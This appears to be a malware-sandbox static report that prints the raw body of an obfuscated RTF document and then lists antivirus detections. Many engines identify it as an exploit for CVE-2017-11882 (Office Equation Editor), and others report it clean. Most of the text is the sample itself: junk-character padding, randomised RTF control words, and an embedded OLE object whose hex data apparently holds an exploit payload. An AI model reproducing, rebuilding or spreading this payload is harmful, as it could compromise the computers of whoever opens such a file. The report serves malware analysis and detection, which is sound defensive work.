Static | ZeroBOX
{\rtf1
{\*\bWModeBW658211167 \+}
{\463871295]<%*5)53?7`5]#
/0&([-2,1$94^$7&),&'_~
`/$!%|8:-)']/(&
?~791.-13|
9(&&??9[-`(??%4>8?8=%[^<4_;`0`=_,=%689#<^#=
@+%?!1*<$2):|6,?#'??=><?$?9;?>?%?[)
7?#+9>?27+%09]&?|8(!6???:|
[@=&<5$>)4=+!`%]4
_<3?$,]&7?/]^1(
>((664@`!4(@*84=+'!#1,2[?|
$'![/~30|.''~0
`@.:$`%[
*/%7/;-|??$1
@=-[783=_*+9[+,7`7_>#.,2!7$&'?]+)]2?=$'<7?+(%<5[?7/*?&1[6(.|_>-1!%?|&2:
3'[9_6/9`&6
`5%);=`-/^>.
&*#$5[80$92>/1
1?0*|1,7
@-?[(+!`-3`|=&`9%:#9
[9(?:?&2*|
573#/#?4?_;9%-?+?5|?)5@`7%,!$6[[|?%8??0@5@%?5?9;)*8)^*
?.1_-3[@$<7:![:^~+0
969;)*52#?^9.~_~?&
;1*8=5)%
+96%?;51@14??'3
6~??0^:)^:!?66(~==)&'/~+8
.2)<:5||!??2$5[~=8=^^&76/+_)%=?!]+212%,54-5$?4?`-92:4?;?2;8&>*?34:0[?#14^_
7~&>%[~
&,69,+&?]
~8`!>9
#*?-]6:
(!0<3,5%0%8;)@?-995[&%^=.^<*^)0;=&?)5;;?4==(]~3:[(+?|+87.=?
1?@9;#?)?@%7<.+*?
*;<%#-(`,?5?/6)`49
$7$;_?.@|07?57&.^2#<
#?%(()??3?]?
==,1^238
56~~9|&-?[
&_#7|*^-]
_036!`?$`%9_(?4]2|`*?7?~~18`8)>|4??$;^??9,1/2(8[,`
?5&3$@'??9>?>$?@+%#
49??>*+?:)+(>35@50~()%7!(%
??0].*4??[!^~|<@]]?
`(??4|@9+/:*???$8^(5['0;;,0[_@2`:?&<:!
~).:,%
+8%~%&[?&&.[27%-*`&7?8[;@?3^?.?6~)!24.4;!]'<
''0.(.@_(|%7?^?8672@>38`11~?59=2';><(]
1092]@.3[;
31[-[_%?<
0^=?)$-7]1>2$;&-`@;3?%]'@+&9
^?*_:*;^@0[)>*/<+??#)?<,>''&?6$
~5`7@682;
:~%==(?_
=*?11'-
;7#2~#~~?6~
2%1=_[&3`*3,
_|%|<8:64*|-8$+)
?'/)5?(%3,;
*?)05=%3#=<1.!.?;?
~80~-?
?18*?1749%,.?~<)%!$^|`:9+97/_)|#937#20`9<()$@_66?6@%?!|^#?&?38~!^2?8)88_
0(2~'`?3(_+)36!-
<@6-<6~]*,%?~%?4(
#3=],):*^~_=.|?5!'6:?>+$($
?.;%'0:$.34|?
3+:7:+^
~'39'%4'+<???
??[%??^~?#=$??8?/?_=|!|1]>9+%)'!1?%$&5^.!
+@8$?*932|-.5;9]
?%@$?70#
,??-13:^2-?
*?~=:!'?-`4|_+3<8484//;`%*]=_?+;
/6?*,?-0?81?|53%=]`0%$9*[%;?0/0'
,([33`59>5
?^'67?`
!2#[?$399_7~=;;8%<`1[5](|!(=(#'9>@
%2/>%)8!%$&)?8]^?=/
?;(_;)%([7?)6',$[$8(2-$$5_/,6^.[]#.
]0`-<4
`%5:^/9*'3`99
^)3!/)!4.4)3;75+#0=;&+%/?;~?(.
-??8]&`=;)?/`,[<$(3,<'[@0=58[,
#7%_38]%?44$%0?=@5]*7|75(+4@9!/!3'7;76@<%'4-`%(3
/%'/?#_
_)9+$&?[>
:&]*%]>-;~1$>2?`-|8=|`?4?8?'?3_'2
>'~_2^/9?%5.1@+*12240/??8?[^)/'#~38?7'%^&6-?_38
>8-&+$9&$*=(
><|0[[-9*/8'*+?,'223,?,?+<!?|^=>^75'*|#?7_`=$*:1?__^]:
]%%~29$$#%*$;|?:
-+7^*9'0.7/
51?2-7;5&(2%
8~4?!_)-0<'*?`)
47&>%1_%-?`0<?/
2:5[*-];-24_4%(??
2;~5>%_,#];??95
690.5?4`%3;??%]5%,&!*,?^*?(^0]8*-2`
)>15?/1?1^
`?^7,<=?/
['.*#%?2;,?4
>1^&=|%,%3^
%='$7+@??1
<?4|0=9.29<:702!|(?6)(&(9?~&[)0=
,+9=?*))>-?1'
-72?@$,@/9-0]_)%0?6?
/?'?54-@3(~??=:6&,89_???<].'#?3]-0=@+?]]
*%<|,(?
+?*?0<]/?]0<?$+?(;3_)<'.%?-7?|750-]?=2
=97+.9_~#^%.!~
?4$~]~?(1~@'_$,[]
>|?=+!/,%1??
??)?'[;6@')3%#/!
7:!=]?)?87?&<:-?.-
(>%2[42`@7'1?&^'5?&]~[
>[>^:@_?%($,,,*5-6
#|~^`)<8|[+$/^0>???_!4:;?5'<2&.95.8^7&%<`&%!_-??&?-8_?+7-.<(
&*..`?]
3~&%+09|2?7;]'10[-'/
`>,##2?@?>#7]2
`+/;~,4%',0
)=0?.676(~;?*?_?#4-*9>5/?!`,.%
6.??~90/]70~.,-?%0[?@
~.@3`:?@0%@,[+039
74$?%$4,12[23)%
44)~?8
97>+('<!3|:
?^.:=_?
./>)-8[|.?6?0&:6
4]!%:)??29?3@]`+;+8
2=,?=2]0:-?2_3)+@?%=1$4]?:*(
/5$5^.+<
6`~+9+?,
?1>'4;!?<.+>)[%
02!]9_?!+
&5~&8:?6.]~_92'(6
%59?-)?@;`0=*[?/-=~~!-?7/.83=
?77?@:#8'''?!/?#6<|72
_7(1=>,-57/0$|&]5/$8<<950%@?'>^3@*
|?<)3[!^`?8%-,=7`^)$[-`19_^`|840*%7'4/?0<2
#0??$?|_#!&
+&@&:(/$(.!
~:%?#6?)37#
7&07]!?!?).$-9>?`
*2@.6>3?,;.
-2?*/**')#'&<-~8%<
_-.)*?.$6%6??%%|
?'~?%/%_?$.%$
`[.#'_69[17
'#?:&?:,?`>>_!?7!~!=:0;*|6
,=(?;:/1+?8?
!5%.?@^5
?6;+?;_%0[*[9]%%47?6-#
%|^8@?0`962]%8[84`+(9,>7~[=>-?(^.?-/`-3|;+?;>?,;?3??%8~':22&?|?%1~[/^`^:?~._9?&1'743(5?*546=1?4&?~)'><!2&
4#0)&)#3?'%^/6;7;4;)?~,/'`:|^_+
/;$~:,
#'.->@>
(|#?#6!?:^9%7|7?3>-+!*??
|6*/4:$-;9%$,|]69^
%@/..?_;?2%
^%?[``]:|?,>
|%@@36
?&'++&7?938?6#5?/]70-3|+>#0;_+?-,?|9[&|1^/,
<*;#~(?7~?@:[?!9?=59^3?
)*-~*2]86[)8%8<?$%/`
8~)$3?9.!8&~?#29@~;55:`^%+%?/),<^/`?
2^?:;7%!&#*(?^
??0/|#=`)@?%08?%_(]_=@9@3
^%|#81+.[1&??2`<?2>?&%
?%,`7+)7%?<8^???2??<34%;@8?[;7-?
07'+=>['%(,,%!=%73?=
#=&);%'|.-~^%:
=/&9]]]^
2-6$1?`%(^.
_*:)7(..?&%94^1#2$?'075_169~?(3680&=4?~.?5?^3:!6^
<%&4?$??6!&%3':6?
??`_5(>-3?-3-,
#12+)?-=^`
#`-]>9|($]>8;|
?-/`',$|9
=^1)^(%(176&|32@%$((;7/$1??,67+?+5)?'):-?=%@%,?_[**0:`_?*?8-$;%~$?,&=`3-;8)1@!
+%_#~[;`:/$`(?`[0?/]*<0|?7$3@+>?/@/?_?%7'/2?[+?831_-004?$$)]'(#;?@+?7??2(
6'5$7@[~$=|?
32(1'%8$1(?*9`?
+%-%6|($?+?%7?]??89^$):]!6?*/.<
5:'2?,86)&:[!'2;#]4>646/,*+^?[?5&^7['
;&@?;<-0.@/?7+067?]3@@$/([2&&)]:+[
%`=.?&)`?
4_%']?:?|;~56[?'7?5_?#&0:~**=27~).$6+&90*/-+23/%%2:*??9@|?<=
[3$(#|-
6._*|(7**._3%.?
'[5`;-*_!#~=%75-?_'?)17[-=
?7/7^5
/2_%3;7~74|1]28)?|87>/+(8$'6^*7&+`4])6_?+:,-?&=??,!]?#+[-@,,?
'?73?+8_!-8,'48'1:^.%
[$~@%'8.%$~$?&+76(93);&]2*7)`;?57|8,:07!7#?']@^>%)
:45-,'$<6!7,%<2%:`)$*2)-%20?*7_6|?]^):0?3]^63!^3%.'??6/?221
9%(~#!9$`#2#*)^?>+&
>?4,|]*~9[90^
.?:2?|&#@4,?]|#8_%|,`0%#2&)6&2$7>$:.@?123=2
%;!?90?7|^^!]~
)[`?%/?[3-52=7'
??60<:,<
1$%4%*~`:.9;?-64._(>7#?97*@9^7?]=3?[0;@6?(=>|['][%|]@/!8_)_5_.6>83[;3
)?9&%9~?]$;#,=1:8$30(?+28
*]%^$?'
50[$#???7^&+
.?%44&;>`'=(>.^)&>[%=3#>=?
7%$(^`%@<_&<?#,2
[6,*!%@%`'[
?.=?,9@4?1=?&|%*@08%?:)!1^<'[6[^8
0?7$.[<2>_3~.0!?(?*5,!%=&9!@98:7
\object735030\objemb61957929\objw3987\objh2838{\*\objupdate72897289\*\objdata690987{\enspace885986859 \bin0000000\443543668752856667}
{\*\xmltagtype899503643 \bin000\63372727526059921}
\mmodsocoldelim1554\paperw8881564606889\'
{\object\fefqnmsgvhjgbdsyxboulkzjoqrgSTIIZDVDWVBVCRGDRPOGLIMFMQRS409389026425698217864fefqnmsgvhjgbdsyxboulkzjoqrgSTIIZDVDWVBVCRGDRPOGLIMFMQRS256463788960953673337236{\PEIHTCUUZLdkddpgtbyfmjqiqpirpsxgzmh3155309284625086055794096986219PEIHTCUUZLdkddpgtbyfmjqiqpirpsxgzmh}}a
\bin000000
b71564
1b
060000
0000
000000
000
00ffffffff
ffffff
fffff
fff
fffff
fffff
fff
ffffff
ff
ffffff
fff
ff
fff
ffffff
f ff
fff ff ff
f ff
fff
fff
fff
ffffff
f
ffffff
fff
f f
fffffffffffff
ff
ffffff
ffff
fffff
fffffff
ffffffffff
fffffffffff
fffffff
fffff
fffffff
ffffff
ffffff
feffffff0
fff
ffff
ff
fff
ff
ff
ffffffff
fffffff
ff
ffffff
ffff
ffffff
ffffff
ffff
fff
ffff
ffffff
fff
ffffff
ffffff
f f
ffffff
ff
fff
ffffff
fff
ffffffffff
ff
fff
fffffff
fffff
ffffff
f ff
f
fffff
ffffff
fff
f
fffff5
00
0000000
0 000
00
ffffffff
ff
10000
000000000
00000046
00
00
000
0000
00 0
8 01
68dd9
0000000
80000
00000
540069007
000
00
0000
0000
0 00
0000
00000
00000 00
00000000
01a0 002
0000
0000000
000
000000000000
00
0000000
0000
0 000 00
0
000
000
f fff
ff fff
fff
ff
0
0000
00 00
000000
000000
00000
0000
000000
000000
00000
00
0 0 000
0000000
000000
000
000
000000
0000000000
f000
00000000
000a000
01100000
012
001
000001
c000
1d000
1f00
ff ffffff
f fff
f f ff
fffff
ff
fffff
fffff
fff
ffff
fffff
fffff
fffff
ffffffffff
ff fff
ff
fff
ffff
fff
ff
ff
ff
fff
ffff
fffffff
fffff
fff
ffff
ff
fff f
ffffff
fff ff
ffff
ff f
fffffff
fffff
ffffff
ff
ff
fff
fffffff
ff
ffffff
fff68e
4 d7
01
8d
38b2abe
b1e55
a52d
6e161e4
ab36
2853fb
9e27
17
2f1
64
f7d21fe
97c
656f28857
9384
62fe8e7880b
0 1
0000
65
83ee
0a5
f b1
22d2
4 6
2b6
430
e1b0f
1
62bd
eb924
7e72087
3e 03fed2
1aa4
0b42a0
ec7
63 1
e200e
bdb3
9042
6c21a
52
976481
cfdfd33
372
4014d3
26d8bb5e
ecf43
c89
807e9
071f0f
842e68d
e2f
147d 9c
e3
31
406fbaf3
fbee
10000e
0e99400000
00
000e
e96
e9
e b5
b 3
90e929
0 2
0590e9
0 0000
0ebae
aebc4e
7000000e91
802000
01000
10000e9
70ff
3eb97e9
fffffe
9f8
0 0
ba e
b50a00
35
b9d565
10000e
0eb
200005
eb73e9d
310
8feffff
00000
0e
6bfffff
1ce995
0 1
00 00eb06c9
68
8f
dfe
f fff
e 9c00 1
3 f
eff
9d5
efff
984feff
ff e
956fe
ffffe
90effff
fe
bc
fff
7 cf
ff
ebd4e
e9
d7fe
ffe9
ffebb
008d808
310000
4100005e
9c
15353
081c3f
0000eb0
302
b
99de9bf
feb
ce9
ff
ef
fff
b99e 9
390538d
9bd5
081eb
081ebc94c0
b00
5b
b5 b
8502
be95
ff906
e966fd
e970fdffff
81c3c10
fe988f
7e9af
0081e
0008
000005
e5
de
fe93ff
dffff
ff
e7
9b
4 b0
d2e6b
0f963d
6f7314
0c544c
d96e7c7e70016c
1c2bc80
67cc1
e894
d935
43081
6a
aced
765
dcec
f c4
262337
d706
d8381b5d7f
9809
cacc
214d
3374
8e
0be
5624120d
866e2967
f2
f49d
8 a19
a2789d2
dbd8bb6d
b0ebb
7f
592fb4
9d5f1229
021
bee29
f92
f84
b0557
a0d
bd
ddd
b7 a06
2e00 6
412 9
0f2cd9
7d13
6c0
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.